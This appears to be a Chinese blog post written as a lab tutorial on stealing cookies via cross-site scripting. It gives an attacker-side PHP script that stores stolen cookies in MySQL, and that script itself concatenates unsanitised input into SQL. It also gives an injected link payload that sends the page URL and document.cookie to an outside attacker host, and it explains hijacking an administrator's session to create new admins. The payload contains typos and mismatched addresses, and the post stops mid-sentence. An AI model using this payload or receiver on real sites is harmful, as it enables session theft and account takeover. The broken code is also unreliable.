04-xss获取cookie实验

发布于:2024-05-07 ⋅ 阅读:(32) ⋅ 点赞:(0)

二、开发XSS服务器端

1、确认实验环境

攻击者服务器:192.168.74.134,将获取到cookie数据保存到该服务器的数据库中,运行PHP代码暴露一个接收Cookie的URL地址。

正常Web服务器:192.168.74.133,用于正常的用户访问的目标站点,用户可以在上面阅读或者发表文章。

用户浏览器:本机,Windows环境下,使用chrome浏览器

攻击者浏览器:本机,Windows环境下,使用Firefox浏览器

2、134服务器上创建一张表xssdata

3、在攻击者的服务器中建立文件xss.php

<?php
    $ipadder = $_SERVER['REMOTE_ADDR'];
    $url = $_GET['url'];
    $cookie = $_GET['cookie'];
    
    $conn = new mysqli('127.0.0.1','root','root','learn') or die('数据库连接不成功.');
    $conn->set_charset('utf-8');
    $sql = "insert into xssdata(ipadder,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
    $conn->query($sql);
    
    //echo "<script>history.back()</script>"  让浏览器倒退
    
?>

攻击者在回帖中输入文章内容,并加入JavaScript开始进行xss攻击,

当用户打开回帖会等到以下:

三、实现xss攻击

1.在页面中注入代码

PHP后台需要将 + 号处理为%2B ,将&处理为  %26

<a href=\'javascript:localhost.href="http://192.168.112.183/xsssrecv.php?
url="%2Blocation.href%2B"%26cookie="%2Bocument.cookie\'><img src="http://192.168.112.83/dateme.gif"/>'"
"'></a>

2、获取Cookie后执行

在攻击者的服务器中会cookie的表

3、获取管理员 Cookie

用户向管理员举报有问题的页面,管理员前去访问,攻击者则直接获取到了管理员的cookie。

之后利用管理员的cookie直接登录到网站。但是只有几分钟的时间进行操作,期间可以查看数据库,建立用户,

也可以新建管理员,